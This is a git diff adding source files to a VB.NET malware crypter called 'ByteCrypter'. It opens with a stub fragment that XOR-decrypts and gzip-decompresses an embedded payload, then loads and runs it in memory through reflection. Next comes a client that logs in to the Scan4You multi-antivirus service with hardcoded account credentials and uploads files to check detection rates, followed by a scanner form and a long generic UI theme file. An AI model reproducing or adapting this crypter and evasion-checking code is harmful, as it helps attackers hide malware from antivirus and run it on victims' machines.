PolyIndia(ByVal data As Byte()) As Byte() + Dim Result As Byte() = New Byte(data.Length - 16 - 1) {} + Buffer.BlockCopy(data, 16, Result, 0, Result.Length) + For i As Integer = 0 To Result.Length - 1 + Result(i) = Result(i) Xor data(i Mod 16) + Next + Return Result + End Function + + Public Shared Function Decompress(data As Byte()) As Byte() + Dim input As New MemoryStream() + input.Write(data, 0, data.Length) + input.Position = 0 + Dim gzip As New GZipStream(input, CompressionMode.Decompress, True) + Dim output As New MemoryStream() + Dim buff As Byte() = New Byte(63) {} + Dim read As Integer = -1 + read = gzip.Read(buff, 0, buff.Length) + While read > 0 + output.Write(buff, 0, read) + read = gzip.Read(buff, 0, buff.Length) + End While + gzip.Close() + Return output.ToArray() + End Function + + Public Shared Function Dynamic(ByVal [Class] As System.Type, ByVal Method As String, ByVal Argument As Object()) + Dim Cls As Type = [Class] + Dim Void As String = Method + Dim obj As Object() = Argument + Return Cls.InvokeMember(Void, System.Reflection.BindingFlags.InvokeMethod, Nothing, Nothing, obj) + End Function + +End Class +Public Class EX + Private ASM() As Byte + Private CN, MN As String + Private args() As Object + Public Sub New(ByVal ASM() As Byte, ByVal CN As String, ByVal MN As String, ByVal args() As Object) + Me.ASM = ASM + Me.CN = CN + Me.MN = MN + Me.args = args + End Sub + Public Sub Run() + Dim ASM1 As Assembly + Dim ASMInit As New ASMInit(ASM) + ASM1 = ASMInit.Ret + For Each typex As Type In ASM1.GetTypes() + If typex.IsClass = True Then + If typex.FullName.EndsWith("." & CN) Then + Dim ClassyObject As Object = Activator.CreateInstance(typex) + typex.InvokeMember(MN, Reflection.BindingFlags.[Default] Or Reflection.BindingFlags.InvokeMethod, Nothing, ClassyObject, args) + End If + End If + Next + End Sub + Public Class ASMInit + Private Init As Assembly + Public Sub New(ByVal Init As Byte()) + Me.Init = Assembly.Load(Init) + End Sub + Public Function Ret() As Assembly + Return Init + End Function + End Class +End Class diff --git a/scode (ByteCrypt/ByteCrypter/Resources/Xenocode.dll b/scode (ByteCrypt/ByteCrypter/Resources/Xenocode.dll new file mode 100644 index 0000000..8412f8e Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter/Resources/Xenocode.dll differ diff --git a/scode (ByteCrypt/ByteCrypter/Resources/pourquoi.snk b/scode (ByteCrypt/ByteCrypter/Resources/pourquoi.snk new file mode 100644 index 0000000..ed62379 Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter/Resources/pourquoi.snk differ diff --git a/scode (ByteCrypt/ByteCrypter/Resources/user.config b/scode (ByteCrypt/ByteCrypter/Resources/user.config new file mode 100644 index 0000000..01ab01c --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Resources/user.config @@ -0,0 +1,2 @@ + + diff --git a/scode (ByteCrypt/ByteCrypter/Scan4You.vb b/scode (ByteCrypt/ByteCrypter/Scan4You.vb new file mode 100644 index 0000000..5ffe518 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Scan4You.vb @@ -0,0 +1,229 @@ +Imports System.Collections.Specialized +Imports System.IO +Imports System.Text +Imports System.Text.RegularExpressions +Imports Crypter.Utility.Http + +Namespace Service + Public Class Scan4You + Implements IDisposable + + Private Http As Utility.Http = Nothing + Private Session As UploadSession = Nothing + +#Region "Structures" + Public Structure Result + Dim Success As Boolean + Dim ProxyError As Boolean + Dim FailMessage As String + Dim UploadUrl As String + End Structure + + Private Structure UploadSession + Dim UploadKey As String + Dim User As String + Dim Config As String + End Structure +#End Region + +#Region "Events" + Public Event Notify(ByVal Text As String) +#End Region + +#Region "Properties" + Private _Account As String() = Nothing + Public Property Account As String() + Get + Return _Account + End Get + Set(ByVal value As String()) + _Account = value + End Set + End Property + + Private _Online As Boolean = False + Public Property Online As Boolean + Get + Return _Online + End Get + Set(ByVal value As Boolean) + _Online = value + End Set + End Property + Private _AVDetections As New Dictionary(Of String, String) + Public Property AVDetections As Dictionary(Of String, String) + Get + Return _AVDetections + End Get + Set(ByVal value As Dictionary(Of String, String)) + _AVDetections = value + End Set + End Property + + Private _Rate As String = Nothing + Public Property Rate As String + Get + Return _Rate + End Get + Set(ByVal value As String) + _Rate = value + End Set + End Property + + Private _BBCode As String = Nothing + Public Property BBCode As String + Get + Return _BBCode + End Get + Set(ByVal value As String) + _BBCode = value + End Set + End Property + + Private _Link As String = Nothing + Public Property Link As String + Get + Return _Link + End Get + Set(ByVal value As String) + _Link = value + End Set + End Property +#End Region + +#Region "Constructor" + Public Sub New(ByVal Acc As String()) + Account = Acc + End Sub +#End Region + +#Region "Deconstructor" + Private disposedValue As Boolean + Protected Overridable Sub Dispose(ByVal disposing As Boolean) + If Not Me.disposedValue Then + If disposing Then + If Not IsNothing(Http) Then Http.Dispose() + End If + End If + Me.disposedValue = True + End Sub + Public Sub Dispose() Implements IDisposable.Dispose + Dispose(True) + GC.SuppressFinalize(Me) + End Sub +#End Region + +#Region "Methods" + Private Sub NewSession() + If Not IsNothing(Http) Then Http.Dispose() + Http = New Utility.Http + Online = False + End Sub +#End Region + +#Region "API" + Public Sub Login() + Try + NewSession() + With Http + .TimeOut = 10000 + .DebugMode = True + .AutoRedirect = True + RaiseEvent Notify("Attempting to log in.") + + Dim hr As HttpResponse = .GetResponse(Verb._GET, "http://scan4you.net") + If Not hr.Html.Contains("z6112' value='") Then + RaiseEvent Notify("Could not retrieve log in form. Missing Element.") + Exit Try + End If + + Dim PostData As New StringBuilder() + PostData.Append("l_ogin=" & .UrlEncode(Account(0))) + PostData.Append("&passw=" & .UrlEncode(Account(1))) + PostData.Append("&act=Login&action=L_ogi_n&z6112=" & .ParseBetween(hr.Html, "name='z6112' value='", "'>", "name='z6112' value='".Length)) + + .ContentType = "application/x-www-form-urlencoded" + .Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + .Referer = "http://scan4you.net/" + + hr = .GetResponse(Verb._POST, "http://scan4you.net/login.php", PostData.ToString) + + If hr.Html.Contains("('document.location=""check.php"";',1000);") Then + RaiseEvent Notify("Succesfully logged in!") + Online = True + Else + RaiseEvent Notify("Could not login!") + Online = False + End If + End With + Catch ex As Exception + RaiseEvent Notify("Could not login: " & ex.Message) + End Try + End Sub + Public Sub Upload(ByVal Path As String) + Try + With Http + .TimeOut = 600000 'Long time out to give Scan4You long enough to receive and give results. + .DebugMode = True + .AutoRedirect = True + Dim fi As New FileInfo(Path) + RaiseEvent Notify(String.Format("Attempting to upload file '{0}'.", fi.Name)) + + Dim hr As HttpResponse + + Dim data As New UploadData(File.ReadAllBytes(Path), fi.Name, "uppload") 'Use idb's handy UploadData class to make our lives easier. + + .Referer = "http://scan4you.net/check3.php" + + Dim fields As New NameValueCollection 'A lot of unnecessary fields at the end of the request. + fields.Add("action", "Check File") + fields.Add("url", "http://") + fields.Add("domen", "") + fields.Add("pack", "http://") + fields.Add("pereodic", "0:") + fields.Add("notify", "") + fields.Add("notify_param", "") + fields.Add("notify_virus_only", "on") + fields.Add("notify_stop_on_virus", "on") + + hr = .GetResponse(Verb._POST, "http://scan4you.net/check3.php", Nothing, fields, data) + If hr.Html.Contains("/35") Then + RaiseEvent Notify("Parsing results...") + 'BBCode is in some kind of javascript window thing. + _BBCode = .ParseBetween(hr.Html, """if(window.fCopyToClipboard){if(window.fCopyToClipboard(this));}"" >", "", """if(window.fCopyToClipboard){if(window.fCopyToClipboard(this));}"" >".Length) + 'Parse result link + Dim lin As String = .ParseBetween(hr.Html, "
", "
", "
", String.Empty).Replace("
", "RESULTS:".Length) + _Rate = .ParseBetween(results, "", "
", "".Length) + + _Link = lin + results = results.Replace("", "~~").Replace("
", Environment.NewLine).Replace("", "~~") + + For Each d As String In Regex.Split(results, Environment.NewLine) + If Not d.Contains("/35") Then + Dim avData As String() = Regex.Split(d, "~~") + AVDetections.Add(avData(0), avData(1)) + End If + Next + RaiseEvent Notify("ScanComplete") 'Tell form to put data into appropriate controls. + RaiseEvent Notify("Scanning completed!") 'Add to event log. + Else + RaiseEvent Notify("Scanning failed, please try again.") + End If + + End With + Catch ex As Exception + MessageBox.Show(ex.ToString) + End Try + End Sub +#End Region + + End Class +End Namespace \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Scanner.Designer.vb b/scode (ByteCrypt/ByteCrypter/Scanner.Designer.vb new file mode 100644 index 0000000..af71cef --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Scanner.Designer.vb @@ -0,0 +1,186 @@ + _ +Partial Class Scanner + Inherits System.Windows.Forms.Form + + 'Form remplace la méthode Dispose pour nettoyer la liste des composants. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Requise par le Concepteur Windows Form + Private components As System.ComponentModel.IContainer + + 'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form + 'Elle peut être modifiée à l'aide du Concepteur Windows Form. + 'Ne la modifiez pas à l'aide de l'éditeur de code. + _ + Private Sub InitializeComponent() + Me.DesignForm1 = New Crypter.DesignForm() + Me.EventLog = New System.Windows.Forms.TextBox() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.Label1 = New System.Windows.Forms.Label() + Me.DesignButton1 = New Crypter.DesignButton() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Label18 = New System.Windows.Forms.Label() + Me.ListView1 = New System.Windows.Forms.ListView() + Me.ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.DesignControlBox1 = New Crypter.DesignControlBox() + Me.DesignForm1.SuspendLayout() + Me.SuspendLayout() + ' + 'DesignForm1 + ' + Me.DesignForm1.Controls.Add(Me.EventLog) + Me.DesignForm1.Controls.Add(Me.TextBox2) + Me.DesignForm1.Controls.Add(Me.Label1) + Me.DesignForm1.Controls.Add(Me.DesignButton1) + Me.DesignForm1.Controls.Add(Me.TextBox1) + Me.DesignForm1.Controls.Add(Me.Label18) + Me.DesignForm1.Controls.Add(Me.ListView1) + Me.DesignForm1.Controls.Add(Me.DesignControlBox1) + Me.DesignForm1.Dock = System.Windows.Forms.DockStyle.Fill + Me.DesignForm1.Font = New System.Drawing.Font("Verdana", 10.0!) + Me.DesignForm1.Location = New System.Drawing.Point(0, 0) + Me.DesignForm1.Name = "DesignForm1" + Me.DesignForm1.Padding = New System.Windows.Forms.Padding(2, 36, 2, 2) + Me.DesignForm1.Size = New System.Drawing.Size(322, 456) + Me.DesignForm1.TabIndex = 0 + Me.DesignForm1.Text = "Multi-Av Scanner" + ' + 'EventLog + ' + Me.EventLog.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.EventLog.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.EventLog.ForeColor = System.Drawing.Color.DarkGray + Me.EventLog.Location = New System.Drawing.Point(9, 350) + Me.EventLog.Multiline = True + Me.EventLog.Name = "EventLog" + Me.EventLog.ScrollBars = System.Windows.Forms.ScrollBars.Both + Me.EventLog.Size = New System.Drawing.Size(305, 94) + Me.EventLog.TabIndex = 24 + ' + 'TextBox2 + ' + Me.TextBox2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox2.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox2.Location = New System.Drawing.Point(58, 320) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.ReadOnly = True + Me.TextBox2.Size = New System.Drawing.Size(256, 24) + Me.TextBox2.TabIndex = 23 + Me.TextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.ForeColor = System.Drawing.Color.DarkGray + Me.Label1.Location = New System.Drawing.Point(10, 322) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(42, 17) + Me.Label1.TabIndex = 22 + Me.Label1.Text = "Link:" + ' + 'DesignButton1 + ' + Me.DesignButton1.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton1.Location = New System.Drawing.Point(144, 290) + Me.DesignButton1.Name = "DesignButton1" + Me.DesignButton1.Size = New System.Drawing.Size(170, 24) + Me.DesignButton1.TabIndex = 21 + Me.DesignButton1.Text = "Browse 'n' Scan" + ' + 'TextBox1 + ' + Me.TextBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox1.Location = New System.Drawing.Point(58, 290) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.ReadOnly = True + Me.TextBox1.Size = New System.Drawing.Size(80, 24) + Me.TextBox1.TabIndex = 20 + Me.TextBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + ' + 'Label18 + ' + Me.Label18.AutoSize = True + Me.Label18.BackColor = System.Drawing.Color.Transparent + Me.Label18.ForeColor = System.Drawing.Color.DarkGray + Me.Label18.Location = New System.Drawing.Point(6, 292) + Me.Label18.Name = "Label18" + Me.Label18.Size = New System.Drawing.Size(46, 17) + Me.Label18.TabIndex = 19 + Me.Label18.Text = "Rate:" + ' + 'ListView1 + ' + Me.ListView1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.ListView1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.ColumnHeader1, Me.ColumnHeader2}) + Me.ListView1.ForeColor = System.Drawing.Color.DarkGray + Me.ListView1.GridLines = True + Me.ListView1.Location = New System.Drawing.Point(9, 37) + Me.ListView1.Name = "ListView1" + Me.ListView1.Size = New System.Drawing.Size(305, 247) + Me.ListView1.TabIndex = 1 + Me.ListView1.UseCompatibleStateImageBehavior = False + Me.ListView1.View = System.Windows.Forms.View.Details + ' + 'ColumnHeader1 + ' + Me.ColumnHeader1.Text = "Antivirus" + Me.ColumnHeader1.Width = 162 + ' + 'ColumnHeader2 + ' + Me.ColumnHeader2.Text = "Detection" + Me.ColumnHeader2.Width = 140 + ' + 'DesignControlBox1 + ' + Me.DesignControlBox1.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.DesignControlBox1.BackColor = System.Drawing.Color.Transparent + Me.DesignControlBox1.Location = New System.Drawing.Point(279, 3) + Me.DesignControlBox1.Name = "DesignControlBox1" + Me.DesignControlBox1.Size = New System.Drawing.Size(40, 20) + Me.DesignControlBox1.TabIndex = 0 + Me.DesignControlBox1.Text = "DesignControlBox1" + ' + 'Scanner + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(322, 456) + Me.Controls.Add(Me.DesignForm1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Scanner" + Me.Opacity = 0.95R + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Scanner" + Me.DesignForm1.ResumeLayout(False) + Me.DesignForm1.PerformLayout() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents DesignForm1 As Crypter.DesignForm + Friend WithEvents DesignControlBox1 As Crypter.DesignControlBox + Friend WithEvents EventLog As System.Windows.Forms.TextBox + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents DesignButton1 As Crypter.DesignButton + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Label18 As System.Windows.Forms.Label + Friend WithEvents ListView1 As System.Windows.Forms.ListView + Friend WithEvents ColumnHeader1 As System.Windows.Forms.ColumnHeader + Friend WithEvents ColumnHeader2 As System.Windows.Forms.ColumnHeader +End Class diff --git a/scode (ByteCrypt/ByteCrypter/Scanner.resx b/scode (ByteCrypt/ByteCrypter/Scanner.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Scanner.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Scanner.vb b/scode (ByteCrypt/ByteCrypter/Scanner.vb new file mode 100644 index 0000000..61131c9 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Scanner.vb @@ -0,0 +1,94 @@ +Imports System.Runtime.InteropServices +Imports System.Threading +Imports System.Text +Public Class Scanner + Public Shared scan As Service.Scan4You = Nothing + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Try + scan = New Service.Scan4You(New String() {"Mephobia", "zman13"}) + AddHandler scan.Notify, AddressOf OnNotify + Threading.ThreadPool.QueueUserWorkItem(AddressOf scan.Login) + AddHandler scan.Notify, AddressOf OnNotifyScan4You + Catch ex As Exception + + End Try + End Sub + Private Sub DesignButton1_Click(sender As Object, e As EventArgs) Handles DesignButton1.Click + scan.AVDetections.Clear() + If Not scan.Online Then Return + Using ofd As New OpenFileDialog() + If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then + With scan + ListView1.Items.Clear() + TextBox1.Text = Nothing : TextBox2.Text = Nothing + ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf scan.Upload), ofd.FileName) + End With + End If + End Using + End Sub + Private Delegate Sub OnNotifyDelegate(ByVal text As String) + Public Sub OnNotify(ByVal text As String) + If InvokeRequired Then + Invoke(New OnNotifyDelegate(AddressOf OnNotify), text) + Exit Sub + End If + If text = "Succesfully logged in!" Then + + ElseIf text = "Could not login!" Then + MessageBox.Show("Could not login!") + End If + End Sub + Private Delegate Sub _OnNotify(ByVal Text As String) + Private Sub OnNotifyScan4You(ByVal Text As String) + Try + If Me.InvokeRequired Then + Me.Invoke(New _OnNotify(AddressOf OnNotifyScan4You), Text) + Else + If Text = "ScanComplete" Then + For Each Str As KeyValuePair(Of String, String) In scan.AVDetections + Dim lItem As New ListViewItem(Str.Key) + lItem.SubItems.Add(Str.Value) + lItem.UseItemStyleForSubItems = False + If Str.Value = "OK" Then + lItem.SubItems(1).ForeColor = Color.Green + Else + lItem.SubItems(1).ForeColor = Color.Red + End If + ListView1.Items.Add(lItem) + Next + 'TextBox4.Text = scan.BBCode + TextBox1.Text = scan.Rate + TextBox2.Text = scan.Link + Exit Sub + End If + EventLog.AppendText(String.Format("[{0}] {1}{2}", Now.ToString("hh:mm:ss tt"), Text, vbCrLf)) + End If + Catch ex As Exception + + End Try + End Sub + Private Sub Form_Close() Handles MyBase.FormClosing + Form1.Show() + End Sub + + Private Sub DesignForm1_Click(sender As Object, e As EventArgs) + + End Sub +End Class +Public Class ListView + Inherits System.Windows.Forms.ListView + + _ + Private Shared Function SetWindowTheme(ByVal hWnd As IntPtr, ByVal pszSubAppName As String, ByVal pszSubIdList As String) As Integer + End Function + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + SetWindowTheme(Me.Handle, "explorer", Nothing) + End Sub + Public Sub New() + Me.DoubleBuffered = True + Me.View = System.Windows.Forms.View.Details + Me.FullRowSelect = True + Me.GridLines = True + End Sub +End Class \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/ThemeBase153.vb b/scode (ByteCrypt/ByteCrypter/ThemeBase153.vb new file mode 100644 index 0000000..1c25168 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/ThemeBase153.vb @@ -0,0 +1,1739 @@ +Imports System, System.IO, System.Collections.Generic +Imports System.Drawing, System.Drawing.Drawing2D +Imports System.ComponentModel, System.Windows.Forms +Imports System.Runtime.InteropServices +Imports System.Drawing.Imaging + +'------------------ +'Creator: aeonhack +'Created: 08/02/2011 +'Changed: 10/9/2011 +'Version: 1.5.3 +'------------------ + +MustInherit Class ThemeContainer153 + Inherits ContainerControl + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() 'Remove? + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not _ControlMode Then MyBase.Dock = DockStyle.Fill + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + MyBase.OnParentChanged(e) + + If Parent Is Nothing Then Return + _IsParentForm = TypeOf Parent Is Form + + If Not _ControlMode Then + InitializeMessages() + + If _IsParentForm Then + ParentForm.FormBorderStyle = _BorderStyle + ParentForm.TransparencyKey = _TransparencyKey + End If + + Parent.BackColor = BackColor + End If + + OnCreation() + End Sub + +#End Region + + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent AndAlso _ControlMode Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + +#Region " Size Handling " + + Private Frame As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Movable AndAlso Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, _Header - 7) + End If + + InvalidateBitmap() + Invalidate() + + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized) Then + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + + If GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + If _Sizable AndAlso Not _ControlMode Then + Cursor = Cursors.Default + Previous = 0 + End If + End If + + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode) Then + If _Movable AndAlso Frame.Contains(e.Location) Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(Previous)) + End If + End If + + MyBase.OnMouseDown(e) + End Sub + + Private WM_LMBUTTONDOWN As Boolean + Protected Overrides Sub WndProc(ByRef m As Message) + MyBase.WndProc(m) + + If WM_LMBUTTONDOWN AndAlso m.Msg = 513 Then + WM_LMBUTTONDOWN = False + + SetState(MouseState.Over) + If Not _SmartBounds Then Return + + If IsParentMdi Then + CorrectBounds(New Rectangle(Point.Empty, Parent.Parent.Size)) + Else + CorrectBounds(Screen.FromControl(Parent).WorkingArea) + End If + End If + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 7 + B2 = GetIndexPoint.X > Width - 7 + B3 = GetIndexPoint.Y < 7 + B4 = GetIndexPoint.Y > Height - 7 + + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetIndex() + If Current = Previous Then Return + + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + + Private Sub CorrectBounds(ByVal bounds As Rectangle) + If Parent.Width > bounds.Width Then Parent.Width = bounds.Width + If Parent.Height > bounds.Height Then Parent.Height = bounds.Height + + Dim X As Integer = Parent.Location.X + Dim Y As Integer = Parent.Location.Y + + If X < bounds.X Then X = bounds.X + If Y < bounds.Y Then Y = bounds.Y + + Dim Width As Integer = bounds.X + bounds.Width + Dim Height As Integer = bounds.Y + bounds.Height + + If X + Parent.Width > Width Then X = Width - Parent.Width + If Y + Parent.Height > Height Then Y = Height - Parent.Height + + Parent.Location = New Point(X, Y) + End Sub + +#End Region + + +#Region " Base Properties " + + Overrides Property Dock As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + If Not _ControlMode Then Return + MyBase.Dock = value + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If value = MyBase.BackColor Then Return + + If Not IsHandleCreated AndAlso _ControlMode AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then + If Not _ControlMode Then Parent.BackColor = value + ColorHook() + End If + End Set + End Property + + Overrides Property MinimumSize As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + If Parent IsNot Nothing Then Parent.MinimumSize = value + End Set + End Property + + Overrides Property MaximumSize As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + If Parent IsNot Nothing Then Parent.MaximumSize = value + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _SmartBounds As Boolean = True + Property SmartBounds() As Boolean + Get + Return _SmartBounds + End Get + Set(ByVal value As Boolean) + _SmartBounds = value + End Set + End Property + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.TransparencyKey Else Return _TransparencyKey + End Get + Set(ByVal value As Color) + If value = _TransparencyKey Then Return + _TransparencyKey = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.TransparencyKey = value + ColorHook() + End If + End Set + End Property + + Private _BorderStyle As FormBorderStyle + Property BorderStyle() As FormBorderStyle + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.FormBorderStyle Else Return _BorderStyle + End Get + Set(ByVal value As FormBorderStyle) + _BorderStyle = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.FormBorderStyle = value + + If Not value 